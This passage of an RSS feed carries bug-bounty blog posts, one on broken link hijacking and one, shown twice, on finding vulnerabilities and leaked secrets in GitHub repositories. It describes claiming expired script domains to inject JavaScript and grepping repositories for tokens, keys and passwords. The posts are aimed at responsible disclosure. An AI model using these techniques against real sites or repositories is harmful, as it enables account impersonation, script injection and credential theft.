&lt;p&gt;broken-link-checker will crawl a target and look for broken links. Whenever I use this tool I like to run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ blc -rof --filter-level 3 https://example.com/

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After a while I often find myself adapting it to something like this in order to prevent false positives:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ blc -rfoi --exclude linkedin.com --exclude youtube.com --filter-level 3 https://example.com/

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Link: &lt;a href="https://github.com/stevenvachon/broken-link-checker" rel="noopener noreferrer"&gt;https://github.com/stevenvachon/broken-link-checker&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  twitterBFTD
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://twitter.com/misterch0c" rel="noopener noreferrer"&gt;misterch0c&lt;/a&gt; released a little script that finds expired domains in tweets.&lt;/p&gt;

&lt;p&gt;Link: &lt;a href="https://github.com/misterch0c/twitterBFTD" rel="noopener noreferrer"&gt;https://github.com/misterch0c/twitterBFTD&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;p&gt;[1] GitHub. (2017). cure53/HTTPLeaks. [online] Available at: &lt;a href="https://github.com/cure53/HTTPLeaks" rel="noopener noreferrer"&gt;https://github.com/cure53/HTTPLeaks&lt;/a&gt; [Accessed 3 Sep. 2017].&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Broken Link Hijacking - How expired links can be exploited.</title>
      <dc:creator>EdOverflow 🐸</dc:creator>
      <pubDate>Sun, 03 Sep 2017 00:00:00 +0000</pubDate>
      <link>https://forem.com/edoverflow/broken-link-hijacking---how-expired-links-can-be-exploited--4h31</link>
      <guid>https://forem.com/edoverflow/broken-link-hijacking---how-expired-links-can-be-exploited--4h31</guid>
      <description>&lt;p&gt;Broken Link Hijacking (BLH) exists whenever a target links to an expired domain or page. Broken Link Hijacking comes in two forms, reflected and stored. This issue has been exploited in the wild numerous times, but surprisingly few researchers actively look for broken links in bug bounty programs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F30001780-873a820e-9098-11e7-9c53-ab746d322fc7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F30001780-873a820e-9098-11e7-9c53-ab746d322fc7.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This post aims to give you a basic overview of the different issues that could possibly arise if a target links to an expired endpoint.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stored Broken Link Hijacking
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Impersonation
&lt;/h3&gt;

&lt;p&gt;When a company deletes their social media account they might forget to remove the link from their website. An attacker can create an account on the social media platform with that username and impersonate the company.&lt;/p&gt;

&lt;h3&gt;
  
  
  External JS File Hijacking
&lt;/h3&gt;

&lt;p&gt;If a target has an external JS file and that domain/page is expired, you can claim it and then you essentially have stored XSS.&lt;/p&gt;

&lt;p&gt;Say for instance example.edu has an external JS file hosted on example.com and example.com has expired.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;meta charset="utf-8"&amp;gt;
  &amp;lt;meta name="viewport" content="width=device-width"&amp;gt;
  &amp;lt;title&amp;gt;Broken Link Hijacking&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;script src="//example.com/script.js"&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now you can takeover example.com and can control the JS file on example.edu.&lt;/p&gt;

&lt;h3&gt;
  
  
  Information Leakage
&lt;/h3&gt;

&lt;p&gt;Hijacking broken links which are missing the &lt;code&gt;rel="noopener noreferrer"&lt;/code&gt; attribute could leak information to the attacker-controlled page. &lt;a href="https://github.com/cure53/HTTPLeaks" rel="noopener noreferrer"&gt;[1]&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also sometimes companies still link to expired analytics pages. If the attacker can hijack that expired page, they can monitor traffic and possibly gather valuable information about the target’s users. Someone actually once found one of these on Gratipay’s program: &lt;a href="https://hackerone.com/reports/111078" rel="noopener noreferrer"&gt;https://hackerone.com/reports/111078&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Content Hijacking
&lt;/h3&gt;

&lt;p&gt;An attacker can hijack the content of a page by taking over the expired domain/page. A good example of this can be seen in &lt;a href="https://twitter.com/MisterCh0c" rel="noopener noreferrer"&gt;@MisterCh0c&lt;/a&gt;’s blog post &lt;a href="https://hackernoon.com/how-i-hijacked-top-celebrities-tweets-including-katy-perry-shakira-fca3a0e751c6" rel="noopener noreferrer"&gt;“How I hijacked top celebrities tweets including Katy Perry, Shakira…”&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F30002343-55a8dfc4-90a7-11e7-95b2-052bb5a1a5a3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F30002343-55a8dfc4-90a7-11e7-95b2-052bb5a1a5a3.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Reflected Broken Link Hijacking
&lt;/h2&gt;

&lt;p&gt;You know that feeling when you think you have reflected XSS, but cannot break out of the &lt;code&gt;href&lt;/code&gt; or &lt;code&gt;src&lt;/code&gt; attributes?&lt;/p&gt;

&lt;p&gt;If the link is a CDN or a file hosting service, you can construct a malicious link and host that file on the service. Admittedly, these are very rare, but definitely something to keep in mind in case you come across this issue in the future.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example Scenario
&lt;/h3&gt;

&lt;p&gt;&lt;a href="http://example.edu/?version=1.0.0" rel="noopener noreferrer"&gt;http://example.edu/?version=1.0.0&lt;/a&gt; returns a specific version of the JS file being hosted on cdn.example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;!-- http://example.edu/?version=1.0.0 --&amp;gt;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;meta charset="utf-8"&amp;gt;
  &amp;lt;meta name="viewport" content="width=device-width"&amp;gt;
  &amp;lt;title&amp;gt;Broken Link Hijacking&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;script src="//cdn.example/1.0.0/script.js"&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;cdn.example allows us to add our project and host a malicious JS file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;!-- http://example.edu/?link=maliciouspath --&amp;gt;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;meta charset="utf-8"&amp;gt;
  &amp;lt;meta name="viewport" content="width=device-width"&amp;gt;
  &amp;lt;title&amp;gt;Broken Link Hijacking&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;script src="//cdn.example/maliciouspath/script.js"&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Tools
&lt;/h2&gt;

&lt;h3&gt;
  
  
  broken-link-checker
&lt;/h3&gt;

&lt;p&gt;broken-link-checker will crawl a target and look for broken links. Whenever I use this tool I like to run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ blc -rof --filter-level 3 https://example.com/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After a while I often find myself adapting it to something like this in order to prevent false positives:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ blc -rfoi --exclude linkedin.com --exclude youtube.com --filter-level 3 https://example.com/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Link: &lt;a href="https://github.com/stevenvachon/broken-link-checker" rel="noopener noreferrer"&gt;https://github.com/stevenvachon/broken-link-checker&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  twitterBFTD
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://twitter.com/misterch0c" rel="noopener noreferrer"&gt;misterch0c&lt;/a&gt; released a little script that finds expired domains in tweets.&lt;/p&gt;

&lt;p&gt;Link: &lt;a href="https://github.com/misterch0c/twitterBFTD" rel="noopener noreferrer"&gt;https://github.com/misterch0c/twitterBFTD&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;p&gt;[1] GitHub. (2017). cure53/HTTPLeaks. [online] Available at: &lt;a href="https://github.com/cure53/HTTPLeaks" rel="noopener noreferrer"&gt;https://github.com/cure53/HTTPLeaks&lt;/a&gt; [Accessed 3 Sep. 2017].&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>GitHub for Bug Bounty Hunters</title>
      <dc:creator>EdOverflow 🐸</dc:creator>
      <pubDate>Tue, 08 Aug 2017 00:00:00 +0000</pubDate>
      <link>https://forem.com/edoverflow/github-for-bug-bounty-hunters--gmn</link>
      <guid>https://forem.com/edoverflow/github-for-bug-bounty-hunters--gmn</guid>
      <description>&lt;p&gt;GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mass Cloning
&lt;/h2&gt;

&lt;p&gt;You can just do your research on github.com, but I would suggest cloning all the target’s repositories so that you can run your tests locally. I would highly recommend @mazen160’s &lt;a href="https://github.com/mazen160/GithubCloner" rel="noopener noreferrer"&gt;GitHubCloner&lt;/a&gt;. Just run the script and you should be good to go.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python githubcloner.py --org organization -o /tmp/output
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Static Analysis
&lt;/h2&gt;

&lt;p&gt;When it comes to static analysis it is very important to start by actually understanding the project you are targeting. Run the project and use the main features. I call this the “Jobert step”, because I have heard that &lt;a href="https://twitter.com/jobertabma/" rel="noopener noreferrer"&gt;Jobert&lt;/a&gt; spends the first 30 minutes of every hunt using the project and understanding the target before finding vulnerabilities.&lt;/p&gt;

&lt;h2&gt;
  
  
  Manual analysis
&lt;/h2&gt;

&lt;p&gt;This is where the “learn to make it, then break it” mentality comes into play. If you can familiarize yourself with a programming language, you should know the ins and outs of what to do and what not to do in terms of security.&lt;/p&gt;

&lt;p&gt;Once you understand the target and its architecture, you can start grepping! Search for keywords that you are interested in, understand best or know that developers tend to mess up. Here is a basic list of some of the keywords I will look for during a general first assessment:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;API and key. (Get some more endpoints and find API keys.)&lt;/li&gt;
&lt;li&gt;token&lt;/li&gt;
&lt;li&gt;secret&lt;/li&gt;
&lt;li&gt;TODO&lt;/li&gt;
&lt;li&gt;password&lt;/li&gt;
&lt;li&gt;vulnerable 😜&lt;/li&gt;
&lt;li&gt;http:// &amp;amp; https://&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then I will focus on terms that make me smile when developers mess things up:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CSRF&lt;/li&gt;
&lt;li&gt;random&lt;/li&gt;
&lt;li&gt;hash&lt;/li&gt;
&lt;li&gt;MD5, SHA-1, SHA-2, etc.&lt;/li&gt;
&lt;li&gt;HMAC&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When you get used to certain vulnerability types, you will start knowing exactly what to look for in a specific language. So for instance, when I want to find a timing leak in Java, I know that &lt;code&gt;Arrays.equals()&lt;/code&gt; and &lt;code&gt;HMAC&lt;/code&gt; combined causes that issue.&lt;/p&gt;

&lt;p&gt;Another vital step is to look through the commit history. You will be amazed at the amount of information you can gather from commits. Sometimes I see contributors thinking they have removed credentials, when they stay in the commit history. I have come across old endpoints that still work thanks to the git history. Aside from current issues, you might discover past issues that could potentially be bypassed thanks to old commits.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwn4aquddfztk13w2eze.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwn4aquddfztk13w2eze.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Tools
&lt;/h2&gt;

&lt;p&gt;Sometimes automating the boring tasks can help give you a basic overview of what to look for. It is important to note, that you should never copy and paste findings from scanners into your reports. You will get a lot of false positives, therefore you must always look into the possible issue manually to ensure exploitability.&lt;/p&gt;

&lt;p&gt;When I target Python projects, the main tool that I use is &lt;a href="https://github.com/openstack/bandit" rel="noopener noreferrer"&gt;Bandit&lt;/a&gt;. Bandit will find common issues, but will often return low hanging fruit or false positives. So be careful when using it. It should definitely not be relied on.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ bandit -r path/to/your/code -ll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;If you want to find outdated Python modules in a project, paste the contents of the &lt;code&gt;requirements.txt&lt;/code&gt; in &lt;a href="https://pyup.io/tools/requirements-checker/" rel="noopener noreferrer"&gt;https://pyup.io/tools/requirements-checker/&lt;/a&gt;. This will show you if there were any security issues in the specified version of the module.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://snyk.io/test" rel="noopener noreferrer"&gt;Snyk.io&lt;/a&gt; is a wonderful tool for checking dependencies. The platform supports a wide variety of languages.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdoqkq0py56iyhvynakpd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdoqkq0py56iyhvynakpd.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;For recon, many researchers suggest using &lt;a href="https://github.com/michenriksen/gitrob" rel="noopener noreferrer"&gt;Gitrob&lt;/a&gt;. This tool will look for sensitive information in public GitHub repositories.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ gitrob analyze acme,johndoe,janedoe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;For finding high entropy strings (API keys, tokens, passswords, etc.), you can use &lt;a href="https://github.com/dxa4481/truffleHog" rel="noopener noreferrer"&gt;truffleHog&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ truffleHog https://github.com/dxa4481/truffleHog.git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;If you are looking for an all-in-one secrets finder, &lt;a href="https://github.com/anshumanbh/git-all-secrets" rel="noopener noreferrer"&gt;git-all-secrets&lt;/a&gt; by &lt;a href="https://twitter.com/anshuman_bh" rel="noopener noreferrer"&gt;@anshuman_bh&lt;/a&gt; is the tool for you. This tool combines multiple open source secrets finders into one big tool.&lt;/p&gt;




&lt;p&gt;For Ruby on Rails apps, I recommend &lt;a href="http://brakemanscanner.org/" rel="noopener noreferrer"&gt;Brakeman&lt;/a&gt;. Brakeman is a static analysis security scanner that can find a ton of various security issues in code.&lt;/p&gt;




&lt;p&gt;Use &lt;a href="https://github.com/GerbenJavado/LinkFinder" rel="noopener noreferrer"&gt;LinkFinder&lt;/a&gt; by &lt;a href="https://twitter.com/gerben_javado" rel="noopener noreferrer"&gt;Gerben Javado&lt;/a&gt; to find endpoints in the JS files of the repository.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python linkfinder.py -i 'path/to/your/code/*.js' -r ^/api/ -o cli
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Social Engineering
&lt;/h2&gt;

&lt;p&gt;OK, seriously do not social engineer the project owners.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reporting your Findings
&lt;/h2&gt;

&lt;p&gt;As always when it comes to bug bounty hunting, read the program’s policy thoroughly. Very rarely does a program accept reports through GitHub. Contact the security team or if possible use a bug bounty platform such as &lt;a href="https://www.hackerone.com/" rel="noopener noreferrer"&gt;HackerOne&lt;/a&gt; or &lt;a href="https://www.bugcrowd.com/" rel="noopener noreferrer"&gt;Bugcrowd&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On a side note, a cool thing about white-box testing is that since you have access to the code it can be easier to suggest a fix or submit a patch. 😉&lt;/p&gt;

</description>
      <category>security</category>
      <category>github</category>
    </item>
    <item>
      <title>GitHub for Bug Bounty Hunters</title>
      <dc:creator>EdOverflow 🐸</dc:creator>
      <pubDate>Tue, 08 Aug 2017 00:00:00 +0000</pubDate>
      <link>https://forem.com/securitytxt/github-for-bug-bounty-hunters-3g5l</link>
      <guid>https://forem.com/securitytxt/github-for-bug-bounty-hunters-3g5l</guid>
      <description>&lt;p&gt;GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mass Cloning
&lt;/h2&gt;

&lt;p&gt;You can just do your research on github.com, but I would suggest cloning all the target’s repositories so that you can run your tests locally. I would highly recommend @mazen160’s &lt;a href="https://github.com/mazen160/GithubCloner" rel="noopener noreferrer"&gt;GitHubCloner&lt;/a&gt;. Just run the script and you should be good to go.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python githubcloner.py --org organization -o /tmp/output

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Static Analysis
&lt;/h2&gt;

&lt;p&gt;When it comes to static analysis it is very important to start by actually understanding the project you are targeting. Run the project and use the main features. I call this the “Jobert step”, because I have heard that &lt;a href="https://twitter.com/jobertabma/" rel="noopener noreferrer"&gt;Jobert&lt;/a&gt; spends the first 30 minutes of every hunt using the project and understanding the target before finding vulnerabilities.&lt;/p&gt;

&lt;h2&gt;
  
  
  Manual analysis
&lt;/h2&gt;

&lt;p&gt;This is where the “learn to make it, then break it” mentality comes into play. If you can familiarize yourself with a programming language, you should know the ins and outs of what to do and what not to do in terms of security.&lt;/p&gt;

&lt;p&gt;Once you understand the target and its architecture, you can start grepping! Search for keywords that you are interested in, understand best or know that developers tend to mess up. Here is a basic list of some of the keywords I will look for during a general first assessment:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;API and key. (Get some more endpoints and find API keys.)&lt;/li&gt;
&lt;li&gt;token&lt;/li&gt;
&lt;li&gt;secret&lt;/li&gt;
&lt;li&gt;TODO&lt;/li&gt;
&lt;li&gt;password&lt;/li&gt;
&lt;li&gt;vulnerable 😜&lt;/li&gt;
&lt;li&gt;http:// &amp;amp; https://&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then I will focus on terms that make me smile when developers mess things up:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CSRF&lt;/li&gt;
&lt;li&gt;random&lt;/li&gt;
&lt;li&gt;hash&lt;/li&gt;
&lt;li&gt;MD5, SHA-1, SHA-2, etc.&lt;/li&gt;
&lt;li&gt;HMAC&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When you get used to certain vulnerability types, you will start knowing exactly what to look for in a specific language. So for instance, when I want to find a timing leak in Java, I know that &lt;code&gt;Arrays.equals()&lt;/code&gt; and &lt;code&gt;HMAC&lt;/code&gt; combined causes that issue.&lt;/p&gt;

&lt;p&gt;Another vital step is to look through the commit history. You will be amazed at the amount of information you can gather from commits. Sometimes I see contributors thinking they have removed credentials, when they stay in the commit history. I have come across old endpoints that still work thanks to the git history. Aside from current issues, you might discover past issues that could potentially be bypassed thanks to old commits.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwn4aquddfztk13w2eze.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwn4aquddfztk13w2eze.png" alt="image" width="800" height="611"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Tools
&lt;/h2&gt;

&lt;p&gt;Sometimes automating the boring tasks can help give you a basic overview of what to look for. It is important to note, that you should never copy and paste findings from scanners into your reports. You will get a lot of false positives, therefore you must always look into the possible issue manually to ensure exploitability.&lt;/p&gt;

&lt;p&gt;When I target Python projects, the main tool that I use is &lt;a href="https://github.com/openstack/bandit" rel="noopener noreferrer"&gt;Bandit&lt;/a&gt;. Bandit will find common issues, but will often return low hanging fruit or false positives. So be careful when using it. It should definitely not be relied on.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ bandit -r path/to/your/code -ll

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;If you want to find outdated Python modules in a project, paste the contents of the &lt;code&gt;requirements.txt&lt;/code&gt; in &lt;a href="https://pyup.io/tools/requirements-checker/" rel="noopener noreferrer"&gt;https://pyup.io/tools/requirements-checker/&lt;/a&gt;. This will show you if there were any security issues in the specified version of the module.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://snyk.io/test" rel="noopener noreferrer"&gt;Snyk.io&lt;/a&gt; is a wonderful tool for checking dependencies. The platform supports a wide variety of languages.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdoqkq0py56iyhvynakpd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdoqkq0py56iyhvynakpd.png" alt="image" width="800" height="421"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;For recon, many researchers suggest using &lt;a href="https://github.com/michenriksen/gitrob" rel="noopener noreferrer"&gt;Gitrob&lt;/a&gt;. This tool will look for sensitive information in public GitHub repositories.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ gitrob analyze acme,johndoe,janedoe

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;For finding high entropy strings (API keys, tokens, passswords, etc.), you can use &lt;a href="https://github.com/dxa4481/truffleHog" rel="noopener noreferrer"&gt;truffleHog&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ truffleHog https://github.com/dxa4481/truffleHog.git

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;If you are looking for an all-in-one secrets finder, &lt;a href="https://github.com/anshumanbh/git-all-secrets" rel="noopener noreferrer"&gt;git-all-secrets&lt;/a&gt; by &lt;a href="https://twitter.com/anshuman_bh" rel="noopener noreferrer"&gt;@anshuman_bh&lt;/a&gt; is the tool for you. This tool combines multiple open source secrets finders into one big tool.&lt;/p&gt;




&lt;p&gt;For Ruby on Rails apps, I recommend &lt;a href="http://brakemanscanner.org/" rel="noopener noreferrer"&gt;Brakeman&lt;/a&gt;. Brakeman is a static analysis security scanner that can find a ton of various security issues in code.&lt;/p&gt;




&lt;p&gt;Use &lt;a href="https://github.com/GerbenJavado/LinkFinder" rel="noopener noreferrer"&gt;LinkFinder&lt;/a&gt; by &lt;a href="https://twitter.com/gerben_javado" rel="noopener noreferrer"&gt;Gerben Javado&lt;/a&gt; to find endpoints in the JS files of the repository.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python linkfinder.py -i 'path/to/your/code/*.js' -r ^/api/ -o cli

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Social Engineering
&lt;/h2&gt;

&lt;p&gt;OK, seriously do not social engineer the project owners.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reporting your Findings
&lt;/h2&gt;

&lt;p&gt;As always when it comes to bug bounty hunting, read the program’s policy thoroughly. Very rarely does a program accept reports through GitHub. Contact the security team or if possible use a bug bounty platform such as &lt;a href="https://www.hackerone.com/" rel="noopener noreferrer"&gt;HackerOne&lt;/a&gt; or &lt;a href="https://www.bugcrowd.com/" rel="noopener noreferrer"&gt;Bugcrowd&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On a side note, a cool thing about white-box testing is that since you have access to the code it can be easier to suggest a fix or submit a patch. 😉&lt;/p&gt;

</description>
      <category>github</category>
      <category>bounty</category>
      <category>bugs</category>
    </item>
  </channel>
</rss>
